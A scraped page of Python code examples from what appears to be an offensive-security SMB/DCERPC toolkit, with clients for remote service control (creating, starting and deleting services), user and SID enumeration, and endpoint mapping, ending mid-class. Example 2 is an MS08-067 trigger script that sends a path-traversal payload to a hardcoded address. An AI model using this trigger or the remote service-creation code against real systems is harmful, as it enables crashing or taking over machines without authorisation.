Exemplo n.º 1
0
class SVCCTLClient(SVCCTL):

    def __init__(self, host, port=445):
        SVCCTL.__init__(self, host, port)
        self.username = None
        self.password = None
        self.domain = None
        self.kerberos_db = None
        self.use_krb5 = False

    def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False):
        if username:
            self.username = username
        if password:
            self.password = password
        if domain:
            self.domain = domain
        if kerberos_db:
            self.kerberos_db = kerberos_db
            self.use_krb5 = True
        else:
            if use_krb5:
                self.use_krb5 = use_krb5

    def __bind_krb5(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain,
                              kerberos_db=self.kerberos_db,
                              use_krb5=True)

            return self.dce.bind(self.uuid[0], self.uuid[1])
        except Exception as e:
            return 0

    def __bind_ntlm(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain)

            return self.dce.bind(self.uuid[0], self.uuid[1])
        except Exception as e:
            return 0

    def __bind(self, connector):

        if self.use_krb5:
            ret = self.__bind_krb5(connector)
            if not ret:
                return self.__bind_ntlm(connector)
        else:
            ret = self.__bind_ntlm(connector)
            if not ret:
                return self.__bind_krb5(connector)
        return 1


    def bind(self):
        """
        Perform a binding with the server.
        0 is returned on failure.
        """

        connectionlist = []
        connectionlist.append(u'ncacn_np:%s[\\browser]' % self.host)
        connectionlist.append(u'ncacn_np:%s[\\pipe\\svcctl]' % self.host)

        for connector in connectionlist:
            ret = self.__bind(connector)
            if ret:
                return 1

        return 0

    def get_reply(self):
        """
        Provides the answer to a request.
        """
        return self.dce.reassembled_data

    def _close(self, handle=None, manager=0):
        """
        Destroy the manager handle.
        SVCCTLCloseException is raised on failure.
        """

        # We do not accept manager=1 without open manager lock
        if manager and not self.manager_handle:
            raise SVCCTLCloseException('close() failed because no valid manager handle could be found.')

        if not handle:
            handle = self.manager_handle
        try:
            data = SVCCTLCloseServiceHandleRequest(service_handle=handle).pack()
        except Exception as e:
            raise SVCCTLCloseException('close() failed to build the request.')

        self.dce.call(SVCCTL_COM_CLOSESERVICEHANDLE, data, response=True)
        if len(self.get_reply()) < 4:
            raise SVCCTLCloseException('close() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        if status == 0:
            try:
                resp = SVCCTLCloseServiceHandleResponse(self.get_reply())
                if manager:
                    self.manager_handle = None
            except Exception as e:
                raise SVCCTLCloseException('close() failed: parsing error in the answer.')
        else:
            raise SVCCTLCloseException('close() failed.', status=status)


    def open_manager(self):
        """
        Gets a handle on the Manager to perform other calls.
        SVCCTLOpenException is raised on failure.
        """

        # Let's avoid unnecessary traffic
        if self.manager_handle:
            return self.manager_handle

        try:
            data = SVCCTLOpenSCManagerRequest(machine_name='WhatEverBro',
                                              database_name='ServicesActive',
                                              desired_access=0x3f).pack()
        except Exception as e:
            raise SVCCTLOpenException('open_manager() failed to build the request.')

        self.dce.call(SVCCTL_COM_OPENSCMANAGER, data, response=True)
        if len(self.get_reply()) < 4:
            raise SVCCTLOpenException('open_manager() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        if status == 0:
            try:
                resp = SVCCTLOpenSCManagerResponse(self.get_reply())
                self.manager_handle = resp.get_handle()
                return self.manager_handle
            except Exception as e:
                raise SVCCTLOpenException('open_manager() failed: parsing error in the answer.')
        else:
            raise SVCCTLOpenException('open_manager() failed.', status=status)

    def close_manager(self, handle=None):
        return self._close(handle, manager=1)

    def get_services(self, service_type=SVCCTL_SERVICE_ALL):
        """
        Gets the list of services
        SVCCTLEnumServicesStatusException is raised on failure.
        """

        manager_handle = self.open_manager()

        try:
            data = SVCCTLEnumServicesStatusRequest(manager_handle=manager_handle, type=service_type, size=0).pack()
        except Exception as e:
            raise SVCCTLEnumServicesStatusException('get_services() failed to build the request.')


        self.dce.call(SVCCTL_COM_ENUMSERVICESSTATUS, data, response=True)

        if len(self.get_reply()) < 4:
            raise SVCCTLEnumServicesStatusException('get_services() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]
        needed_bytes = 0

        # If it ever happens, it probably means nothing is running.
        # Okay that is quite unlikely but you never know
        if status == 0:
            return []

        if status != 0xea:
            raise SVCCTLEnumServicesStatusException('get_services() failed.', status=status)

        try:
            resp = SVCCTLEnumServicesStatusResponse(self.get_reply())
            needed_bytes = resp['RequiredBytes']
        except Exception as e:
            raise SVCCTLEnumServicesStatusException('get_services() failed: parsing error in the answer.')

        if needed_bytes:
            try:
                data = SVCCTLEnumServicesStatusRequest(manager_handle=self.manager_handle, type=service_type, size=needed_bytes).pack()
            except Exception as e:
                raise SVCCTLEnumServicesStatusException('get_services() failed to build the request.')

            self.dce.call(SVCCTL_COM_ENUMSERVICESSTATUS, data, response=True)
            if len(self.get_reply()) < 4:
                raise SVCCTLEnumServicesStatusException('get_services() call was not correct.')

            status = unpack('<L', self.get_reply()[-4:])[0]
            if status == 0:
                try:
                    resp = SVCCTLEnumServicesStatusResponse(self.get_reply())
                    return resp.get_services()
                except Exception as e:
                    raise SVCCTLEnumServicesStatusException('get_services() failed: parsing error in the answer.')
            else:
                raise SVCCTLEnumServicesStatusException('get_services() failed.', status=status)


    def open_service(self, service_name):
        """
        Gets a policy handle to perform other calls.
        SVCCTLOpenServiceException is raised on failure.
        """

        manager_handle = self.open_manager()

        try:
            data = SVCCTLOpenServiceRequest(manager_handle=manager_handle, service_name=service_name).pack()
        except Exception as e:
            raise SVCCTLOpenServiceException('open_service() failed to build the request.')

        # Unicode version only for now.
        self.dce.call(SVCCTL_COM_OPENSERVICE_W, data, response=True)
        if len(self.get_reply()) < 4:
            raise SVCCTLOpenServiceException('open_service() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        if status == 0x424:
            raise SVCCTLOpenServiceException('open_service() failed: service does not exist.', status=status)

        if status != 0:
            raise SVCCTLOpenServiceException('open_service() failed.', status=status)

        # Parsing the answer
        try:
            resp = SVCCTLOpenServiceResponse(self.get_reply())
            service_handle = resp.get_handle()
            return service_handle
        except Exception as e:
            raise SVCCTLOpenServiceException('open_service() failed: Parsing error in the answer.')

    def close_service(self, handle=None):
        """
        Closes a specific service by handle
        """
        return self._close(handle, manager=0)

    def create_service(self, handle, service_name='IMMUSVC', binary_pathname='%SystemRoot%\\IMMUSVC.EXE', display_name='', start_type=SVCCTL_SERVICE_DEMAND_START):
        """
        Creates a new service.
        SVCCTLCreateServiceException is raised on failure.
        """

        if not display_name:
            display_name = service_name

        try:
            data = SVCCTLCreateServiceRequest(manager_handle=handle,
                                       service_name=service_name,
                                       binary_pathname=binary_pathname,
                                       display_name=display_name,
                                       start_type=start_type).pack()
        except Exception as e:
            raise SVCCTLCreateServiceException('create_service() failed to build the request.')


        self.dce.call(SVCCTL_COM_CREATESERVICE_W, data, response=True)
        if len(self.get_reply()) < 4:
            raise SVCCTLCreateServiceException('create_service() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        # ERROR_SERVICE_EXISTS
        if status == 0x431:
            raise SVCCTLCreateServiceException('create_service() failed: service already exists.', status=status)

        if status != 0:
            raise SVCCTLCreateServiceException('create_service() failed.', status=status)

        try:
            resp = SVCCTLCreateServiceResponse(self.get_reply())
            service_handle = resp.get_handle()
            return service_handle
        except Exception as e:
            raise SVCCTLCreateServiceException('create_service() failed: parsing error in the answer.')

    def _delete_service_by_handle(self, service_handle):

        try:
            data = SVCCTLDeleteServiceRequest(service_handle=service_handle).pack()
        except Exception as e:
            raise SVCCTLDeleteServiceException('delete_service() failed to build the request.')

        self.dce.call(SVCCTL_COM_DELETESERVICE, data, response=True)

        if len(self.get_reply()) < 4:
            raise SVCCTLDeleteServiceException('delete_service() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        # ERROR_SERVICE_MARKED_FOR_DELETE
        if status == 0x430:
            raise SVCCTLDeleteServiceException('delete_service() failed: service already marked for delete.', status=status)

        if status != 0:
            raise SVCCTLDeleteServiceException('delete_service() failed.', status=status)


    def delete_service(self, service_handle=None, service_name=None):
        """
        Deletes a service either using its name or its handle
        SVCCTLDeleteServiceException is raised on failure.
        """

        # Sanity check
        if not service_handle and not service_name:
            raise SVCCTLDeleteServiceException('delete_service() failed: invalid parameters.')

        # If we have a valid handle, we don't care about the service name
        if service_handle:
            return self._delete_service_by_handle(service_handle)

        # But if we don't then it means that we first have to retrieve the
        # handle

        self.open_manager()
        services = self.get_services()
        self.close_manager()

        # Is the service registered under the name?
        for service in services:
            name = service['ServiceName'][:-1]
            if name == service_name:
                handle = self.open_service(name)
                return self._delete_service_by_handle(handle)

        # Service was not found!
        raise SVCCTLDeleteServiceException('delete_service() failed: Invalid service name.')

    def query_service(self, service_handle):
        """
        Gets the status corresponding to a specific service
        SVCCTLQueryServiceStatusException is raised on failure.
        """

        if not service_handle:
            raise SVCCTLQueryServiceStatusException('query_service() failed: Invalid parameter.')

        try:
            data = SVCCTLQueryServiceStatusRequest(service_handle=service_handle).pack()
        except Exception as e:
            raise SVCCTLQueryServiceStatusException('query_service() failed to build the request.')



        self.dce.call(SVCCTL_COM_QUERYSERVICESTATUS, data, response=True)

        if len(self.get_reply()) < 4:
            raise SVCCTLQueryServiceStatusException('query_service() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        if status != 0:
            raise SVCCTLQueryServiceStatusException('query_service() failed.', status=status)

        try:
            resp = SVCCTLQueryServiceStatusResponse(self.get_reply())
            service_type = resp.get_service_type()
            service_state = resp.get_service_state()
            return {'Type':service_type, 'CurrentState':service_state}
        except Exception as e:
            raise SVCCTLQueryServiceStatusException('query_service() failed: parsing error in the answer.')

    def start_service(self, service_handle, args=[]):
        """
        Starts a service
        SVCCTLStartServiceException is raised on failure.
        """

        if not service_handle:
            raise SVCCTLStartServiceException('start_service() failed: invalid parameter.')

        try:
            data = SVCCTLStartServiceRequest(service_handle=service_handle, args=args).pack()
        except Exception as e:
            raise SVCCTLStartServiceException('start_service() failed to build the request.')


        # There are 2 possible methods. For now, we only handle the one without Unicode as
        # it is much easier.
        self.dce.call(SVCCTL_COM_STARTSERVICE_A, data, response=True)
        if len(self.get_reply()) < 4:
            raise SVCCTLStartServiceException('start_service() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        # ERROR_SERVICE_DISABLED
        if status == 0x422:
            raise SVCCTLStartServiceException('start_service() failed: service is disabled.', status=status)

        # ERROR_SERVICE_ALREADY_RUNNING
        if status == 0x420:
            raise SVCCTLStartServiceException('start_service() failed: service is already running.', status=status)

        # ERROR_INVALID_PARAMETER
        if status == 0x57:
            raise SVCCTLStartServiceException('start_service() failed: invalid parameter.', status=status)

        if status != 0:
            raise SVCCTLStartServiceException('start_service() failed.', status=status)


    def stop_service(self, service_handle):
        """
        Stop a service
        SVCCTLStopServiceException is raised on failure.
        """

        if not service_handle:
            raise SVCCTLStopServiceException('stop_service(): invalid parameter.')

        try:
            data = SVCCTLControlServiceRequest(service_handle=service_handle, control=SVCCTL_SERVICE_CONTROL_STOP).pack()
        except Exception as e:
            raise SVCCTLStopServiceException('stop_service() failed to build the request.')

        self.dce.call(SVCCTL_COM_CONTROLSERVICE, data, response=True)
        if len(self.get_reply()) < 4:
            raise SVCCTLStopServiceException('stop_service() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]

        # ERROR_DEPENDENT_SERVICES_RUNNING
        if status == 0x41b:
            raise SVCCTLStopServiceException('stop_service() failed: cannot stop this service while others are running.', status=status)

        # ERROR_SERVICE_NOT_ACTIVE
        if status == 0x426:
            raise SVCCTLStopServiceException('stop_service() failed: this service is not active.', status=status)

        if status != 0:
            raise SVCCTLStopServiceException('stop_service() failed.', status=status)
Exemplo n.º 2
0
import sys
from struct import pack

if '.' not in sys.path:
    sys.path.append('.')

from libs.newsmb.libdcerpc import DCERPC, DCERPCString


print '***** Testing Windows 2000 Trigger for MS08-067 *****'

path = u'A\\..\\..\\'.encode('UTF-16LE')
mark = len(path)

path += u'\0'.encode('UTF-16LE')
data =''
data += pack('<L', 1)
data += DCERPCString(string = u'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE'.encode('UTF-16LE')).pack()
data += '\0\0'
data += DCERPCString(string = path).pack()
data += '\0\0'
data += pack('<L', 2)
data += DCERPCString(string = u'\\'.encode('UTF-16LE')).pack()
data += pack('<LL', 1, 1)

dce = DCERPC(u'ncacn_np:192.168.2.107[\\browser]', getsock=None)
#dce.max_dcefrag = 100
dce.bind(u'4b324fc8-1670-01d3-1278-5a47bf6ee188', u'3.0') #, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.call(0x1f, data, response=True)
print dce.reassembled_data.encode('hex')
Exemplo n.º 3
0
class WKSSVCClient(WKSSVC):
    def __init__(self, host, port=445):
        WKSSVC.__init__(self, host, port)
        self.username = None
        self.password = None
        self.domain = None
        self.kerberos_db = None
        self.use_krb5 = False

    def set_credentials(self,
                        username=None,
                        password=None,
                        domain=None,
                        kerberos_db=None,
                        use_krb5=False):
        if username:
            self.username = username
        if password:
            self.password = password
        if domain:
            self.domain = domain
        if kerberos_db:
            self.kerberos_db = kerberos_db
            self.use_krb5 = True
        else:
            if use_krb5:
                self.use_krb5 = use_krb5

    def __bind_krb5(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain,
                              kerberos_db=self.kerberos_db,
                              use_krb5=True)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT,
                                 RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind_ntlm(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT,
                                 RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind(self, connector):

        if self.use_krb5:
            ret = self.__bind_krb5(connector)
            if not ret:
                return self.__bind_ntlm(connector)
        else:
            ret = self.__bind_ntlm(connector)
            if not ret:
                return self.__bind_krb5(connector)
        return 1

    def bind(self):
        """
        Perform a binding with the server.
        0 is returned on failure.
        """

        connectionlist = []
        connectionlist.append(u'ncacn_np:%s[\\browser]' % self.host)
        connectionlist.append(u'ncacn_np:%s[\\wkssvc]' % self.host)
        connectionlist.append(u'ncacn_ip_tcp:%s[%d]' % (self.host, self.port))
        connectionlist.append(u'ncacn_tcp:%s[%d]' % (self.host, self.port))

        for connector in connectionlist:
            ret = self.__bind(connector)
            if ret:
                return 1

        return 0

    def get_reply(self):
        return self.dce.reassembled_data

    def enum_users(self):
        """
        Fetches the list of connected users on the system
        WKSSVCUserEnumException is raised on failure
        """

        try:
            data = NetrWkstaUserEnumRequest(ServerName='').pack()
        except Exception as e:
            raise WKSSVCUserEnumException(
                'enum_users() failed to build the request.')

        self.dce.call(WKSSVC_COM_ENUM_USERS, data, response=True)
        if len(self.get_reply()) < 4:
            raise WKSSVCUserEnumException(
                'NetrWkstaUserEnum() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]
        if status == 0:
            try:
                resp = NetrWkstaUserEnumResponse(self.get_reply())
                return resp.get_usernames()
            except Exception as e:
                raise WKSSVCUserEnumException(
                    'NetrWkstaUserEnum() failed: Parsing error in the answer.')
        if status == 5:
            raise WKSSVCUserEnumAccessDeniedException()
        else:
            raise WKSSVCUserEnumException(
                'NetrWkstaUserEnumResponse() failed.', status=status)
Exemplo n.º 4
0
class LSAClient(LSA):
    def __init__(self, host, port=445):
        LSA.__init__(self, host, port)
        self.username = None
        self.password = None
        self.domain = None
        self.kerberos_db = None
        self.use_krb5 = False

    def set_credentials(self,
                        username=None,
                        password=None,
                        domain=None,
                        kerberos_db=None,
                        use_krb5=False):
        if username:
            self.username = username
        if password:
            self.password = password
        if domain:
            self.domain = domain
        if kerberos_db:
            self.kerberos_db = kerberos_db
            self.use_krb5 = True
        else:
            if use_krb5:
                self.use_krb5 = use_krb5

    def __bind_krb5(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain,
                              kerberos_db=self.kerberos_db,
                              use_krb5=True)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT,
                                 RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind_ntlm(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain,
                              use_krb5=False)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT,
                                 RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind(self, connector):

        if self.use_krb5:
            ret = self.__bind_krb5(connector)
            if not ret:
                return self.__bind_ntlm(connector)
        else:
            ret = self.__bind_ntlm(connector)
            if not ret:
                return self.__bind_krb5(connector)
        return 1

    def bind(self):
        """
        Perform a binding with the server.
        0 is returned on failure.
        """

        connectionlist = []
        connectionlist.append(u'ncacn_np:%s[\\lsarpc]' % self.host)
        connectionlist.append(u'ncacn_ip_tcp:%s[%d]' % (self.host, self.port))
        connectionlist.append(u'ncacn_tcp:%s[%d]' % (self.host, self.port))

        for connector in connectionlist:
            ret = self.__bind(connector)
            if ret:
                return 1

        return 0

    def get_reply(self):
        return self.dce.reassembled_data

    def open(self):
        """
        Gets a policy handle to perform other calls.
        LSAOpenException is raised on failure.
        """
        try:
            data = LSAOpenPolicy2Request(
                SystemName='\\\\' + self.host,
                DesiredAccess=LSA_POLICY_LOOKUP_NAMES).pack()
        except Exception as e:
            raise LSAOpenException(
                'LSAOpenPolicy() failed to build the request.')

        self.dce.call(LSA_COM_OPEN_POLICY2, data, response=True)
        if len(self.get_reply()) < 4:
            raise LSAOpenException('LSAOpenPolicy() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]
        if status == 0:
            try:
                resp = LSAOpenPolicy2Response(self.get_reply())
                policy_handle = resp.get_handle()
                self.policy_handle = policy_handle
                return policy_handle
            except Exception as e:
                raise LSAOpenException(
                    'LSAOpenPolicy() failed: Parsing error in the answer.')
        else:
            raise LSAOpenException('LSAOpenPolicy() failed.', status=status)

    def close(self):
        """
        Destroy the policy handle.
        LSACloseException is raised on failure.
        """

        if not self.policy_handle:
            raise LSACloseException(
                'LSAClose() failed because no policy handle could be found.')

        try:
            data = LSACloseRequest(PolicyHandle=self.policy_handle).pack()
        except Exception as e:
            raise LSACloseException('LSAClose() failed to build the request.')

        self.dce.call(LSA_COM_CLOSE, data, response=True)
        if len(self.get_reply()) < 4:
            raise LSACloseException('LSAClose() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]
        if status == 0:
            try:
                resp = LSACloseResponse(self.get_reply())
                self.policy_handle = None
            except Exception as e:
                raise LSACloseException(
                    'LSAClose() failed: Parsing error in the answer.')
        else:
            raise LSACloseException('LSAClose() failed.', status=status)

    def __lookup_names(self, names):
        """
        Return the Sids corresponding to the list of names.
        LSALookUpNamesException is raised on failure.
        """
        do_close = 0
        if not self.policy_handle:
            do_close = 1
            self.open()

        try:
            data = LSALookupNamesRequest(PolicyHandle=self.policy_handle,
                                         NamesArray=names).pack()
        except Exception as e:
            raise LSALookUpNamesException(
                'LSALookupNames() failed to build the request.')

        self.dce.call(LSA_COM_LOOKUP_NAMES, data, response=True)
        answ_str = self.get_reply()
        if len(answ_str) < 4:
            raise LSALookUpNamesException(
                'LSALookupNames() call was not correct.')

        status = unpack('<L', answ_str[-4:])[0]
        if do_close:
            self.close()
        if status == 0:
            try:
                resp = LSALookupNamesResponse(answ_str)
                return resp.get_sids()
            except Exception as e:
                raise LSALookUpNamesException(
                    'LSALookUpNames() failed: Parsing error in the answer.')
        else:
            raise LSALookUpNamesException('LSALookUpNames() failed.',
                                          status=status)

    def __lookup_names3(self, names):
        """
        Return the Sids corresponding to the list of names.
        LSALookUpNamesException is raised on failure.
        """
        do_close = 0
        if not self.policy_handle:
            do_close = 1
            self.open()

        try:
            data = LSALookupNames3Request(PolicyHandle=self.policy_handle,
                                          NamesArray=names).pack()
        except Exception as e:
            raise LSALookUpNamesException(
                'LSALookupNames() failed to build the request.')

        self.dce.call(LSA_COM_LOOKUP_NAMES3, data, response=True)
        answ_str = self.get_reply()

        if len(answ_str) < 4:
            raise LSALookUpNamesException(
                'LSALookupNames() call was not correct.')

        status = unpack('<L', answ_str[-4:])[0]
        if do_close:
            self.close()
        if status == 0:
            try:
                resp = LSALookupNames3Response(answ_str)
                return resp.get_sids()
            except Exception as e:
                raise LSALookUpNamesException(
                    'LSALookUpNames() failed: Parsing error in the answer.')
        else:
            raise LSALookUpNamesException('LSALookUpNames() failed.',
                                          status=status)

    def lookup_names(self, names, version=0):
        """
        Return the Sids corresponding to the list of names.
        LSALookUpNamesException is raised on failure.
        """
        if version == 3:
            return self.__lookup_names3(names)
        else:
            return self.__lookup_names(names)

    def lookup_sids(self, sids):
        """
        Return the Names corresponding to the list of Sids.
        LSALookUpSidsException is raised on failure.
        """
        do_close = 0
        if not self.policy_handle:
            do_close = 1
            self.open()

        try:
            data = LSALookupSidsRequest(PolicyHandle=self.policy_handle,
                                        Sids=sids).pack()
        except Exception as e:
            raise LSALookUpSidsException(
                'lookup_sids() failed to build the request.')

        self.dce.call(LSA_COM_LOOKUP_SIDS, data, response=True)
        answ_str = self.get_reply()
        if len(answ_str) < 4:
            raise LSALookUpSidsException('lookup_sids() call was not correct.')

        status = unpack('<L', answ_str[-4:])[0]
        if do_close:
            self.close()
        # We may need to provide more than 1 SID. Typically this appends when one
        # bruteforces SID (this can be done in 1 request). However since not all
        # the SID requested may exist, the API may return STATUS_SOME_NOT_MAPPED
        # aka 0x107 error.
        if status == 0 or status == 0x107:
            try:
                resp = LSALookupSidsResponse(answ_str)
                names = resp.get_names()
                # This shouldn't be possible, but just in case...
                if len(names) != len(sids):
                    return names
                # Adds the Sid information as well.
                for i in xrange(len(sids)):
                    names[i]['Sid'] = sids[i]
                return names
            except Exception as e:
                raise LSALookUpSidsException(
                    'lookup_sids() failed: Parsing error in the answer.')
        else:
            raise LSALookUpSidsException('lookup_sids() failed.',
                                         status=status)

    def lookup_sids_with_domains(self, sids):
        """
        Return the Names and associated Domains corresponding to the list of Sids.
        LSALookUpSidsException is raised on failure.
        """
        do_close = 0
        if not self.policy_handle:
            do_close = 1
            self.open()

        try:
            data = LSALookupSidsRequest(PolicyHandle=self.policy_handle,
                                        Sids=sids).pack()
        except Exception as e:
            raise LSALookUpSidsException(
                'lookup_sids() failed to build the request.')

        self.dce.call(LSA_COM_LOOKUP_SIDS, data, response=True)
        answ_str = self.get_reply()
        if len(answ_str) < 4:
            raise LSALookUpSidsException('lookup_sids() call was not correct.')

        status = unpack('<L', answ_str[-4:])[0]
        if do_close:
            self.close()
        # We may need to provide more than 1 SID. Typically this appends when one
        # bruteforces SID (this can be done in 1 request). However since not all
        # the SID requested may exist, the API may return STATUS_SOME_NOT_MAPPED
        # aka 0x107 error.
        if status == 0 or status == 0x107:
            try:
                resp = LSALookupSidsResponse(answ_str)
                names = resp.get_names()
                domains = resp.get_domains()
                # This shouldn't be possible, but just in case...
                if len(names) != len(sids):
                    return names
                # Adds the Sid information as well.
                for i in xrange(len(sids)):
                    names[i]['Sid'] = sids[i]
                return names, domains
            except Exception as e:
                raise LSALookUpSidsException(
                    'lookup_sids() failed: Parsing error in the answer.')
        else:
            raise LSALookUpSidsException('lookup_sids() failed.',
                                         status=status)

    def lookup_domains(self, names=['Administrator']):
        """
        Return the names & sids of the domains managed by the AD
        LSALookUpNamesException is raised on failure.
        """

        # The trick is that Administrator will always exist so the LSALookupNames3()
        # API will answer leaking the domains.

        do_close = 0
        if not self.policy_handle:
            do_close = 1
            try:
                self.open()
            except Exception as e:
                raise LSALookUpNamesException('lookup_domains() failed.')

        try:
            data = LSALookupNames3Request(PolicyHandle=self.policy_handle,
                                          NamesArray=names).pack()
        except Exception as e:
            raise LSALookUpNamesException(
                'lookup_domains() failed to build the request.')

        self.dce.call(LSA_COM_LOOKUP_NAMES3, data, response=True)
        answ_str = self.get_reply()

        if len(answ_str) < 4:
            raise LSALookUpNamesException(
                'lookup_domains() call was not correct.')

        status = unpack('<L', answ_str[-4:])[0]
        if do_close:
            self.close()
        if status == 0:
            try:
                resp = LSALookupNames3Response(answ_str)
                return resp.get_domains()
            except Exception as e:
                raise LSALookUpNamesException(
                    'lookup_domains() failed: Parsing error in the answer.')
        else:
            raise LSALookUpNamesException('lookup_domains() failed.',
                                          status=status)
Exemplo n.º 5
0
class EPTClient(EPT):

    def __init__(self, host, port=135):
        EPT.__init__(self, host, port)
        self.username = None
        self.password = None
        self.domain = None
        self.kerberos_db = None
        self.use_krb5 = False

    def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False):
        if username:
            self.username = username
        if password:
            self.password = password
        if domain:
            self.domain = domain
        if kerberos_db:
            self.kerberos_db = kerberos_db
            self.use_krb5 = True
        else:
            if use_krb5:
                self.use_krb5 = use_krb5

    def __bind_krb5(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain,
                              kerberos_db=self.kerberos_db,
                              use_krb5=True)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind_ntlm(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind(self, connector):

        if self.use_krb5:
            ret = self.__bind_krb5(connector)
            if not ret:
                return self.__bind_ntlm(connector)
        else:
            ret = self.__bind_ntlm(connector)
            if not ret:
                return self.__bind_krb5(connector)
        return 1

    def bind(self):
        """
        Perform a binding with the server.
        0 is returned on failure.
        """

        connector = u'ncacn_ip_tcp:%s[%d]' % (self.host, self.port)

        ret = self.__bind(connector)
        if ret:
            return 1
        else:
            return 0

    def get_reply(self):
        return self.dce.reassembled_data

    def ept_lookup(self, max_entries=500):
        '''
        Returns an array of entries
        '''

        lookupreq = EptLookupRequest(max_entries=max_entries).pack()
        self.dce.call(EPMAP_COM_LOOKUP, lookupreq, response=True)
        data = self.get_reply()

        if not len(data):
            raise EPTLookupException('Empty data returned')

        status = unpack('<L', data[-4:])[0]
        if status != 0:
            logging.debug('ept_lookup() response status is: %x' % status)
            raise EPTLookupException('Failed with error = 0x%x' % status)

        lookupresp = EptLookupResponse(data=data)
        entries = lookupresp.get_entries()
        return entries

    def convert_entries(self, entries):
        '''
        Convert the entries into a dictionary that is compatible with EPMAP.dump()
        where EPMAP is the old interface.
        '''

        if entries is None or not len(entries):
            return None

        results = []
        for entry in entries:

            try:
                annot = entry.get_annotation_as_str()
                obj = entry.get_object()
                floors = entry.get_tower().get_floors()

                result = {}
                result['annotation'] = annot
                result['annotation length'] = len(annot) + 1         # For compatibility only.
                                                                     # This field is absolutely useless
                                                                     # and 'annotation' was even missing
                                                                     # in the previous version 

                for i in xrange(len(floors)):
                    # http://pubs.opengroup.org/onlinepubs/9629399/toc.pdf
                    # p684
                    f = floors[i]
                    proto_id = f.get_proto_id()
                    data1 = f.get_data1()
                    data2 = f.get_data2()

                    if proto_id == EPMAP_PROTO_ID_UUID:
                        major = struct.unpack('<H', data1[16:18])[0]
                        minor = struct.unpack('<H', data2[:2])[0]
                        # With two consecutive UUID, only the first one is interesting
                        if not i:
                            result['uuid'] = data1[:16]
                            result['version'] = major

                    # RPC addresses are not recorded.
                    elif proto_id in [EPMAP_PROTO_ID_RPC_CON_LESS, EPMAP_PROTO_ID_RPC_CON_ORIENTED]:
                        pass

                    elif proto_id == EPMAP_PROTO_ID_NAMEDPIPE:
                        np_str = data2.rstrip('\0')
                        result['np'] = unicode(np_str)

                    elif proto_id == EPMAP_PROTO_ID_NETBIOS:
                        netbios_str = data2.rstrip('\0')
                        result['netbios'] = unicode(netbios_str)

                    elif proto_id == EPMAP_PROTO_ID_NAMEDPIPES:
                        result['ncalrpc'] = unicode(data2.rstrip('\0'))

                    elif proto_id == EPMAP_PROTO_ID_IP_ADDR:
                        ip_str = u'%s.%s.%s.%s' % (ord(data2[0]),
                                                ord(data2[1]),
                                                ord(data2[2]),
                                                ord(data2[3]))
                        result['ip'] = ip_str

                    elif proto_id == EPMAP_PROTO_ID_TCP_PORT:
                        tcp_port = struct.unpack('>H', data2[:2])[0]
                        result['tcp'] = tcp_port

                    elif proto_id == EPMAP_PROTO_ID_UDP_PORT:
                        udp_port = struct.unpack('>H', data2[:2])[0]
                        result['udp'] = udp_port

                    # NETBEUI addresses are not recorded.
                    elif proto_id == EPMAP_PROTO_ID_NETBEUI:
                        pass

                    elif proto_id == EPMAP_PROTO_ID_HTTP:
                        http_port = struct.unpack('>H', data2[:2])[0]
                        result['http'] = http_port

                    # Do we have a parsing error? Probably not thus it's interesting
                    # to dump this proto_id. This might require an update.
                    else:
                        logging.warning('Weird proto_id: %s' % proto_id)

                result['handle'] = '\0' * 20
                results.append(result)

            except Exception as e:
                logging.warn('Parsing error, skipping current entry: %s', str(e))
                continue

        return results
Exemplo n.º 6
0
class SRVSVCClient(SRVSVC):

    def __init__(self, host, port=445):
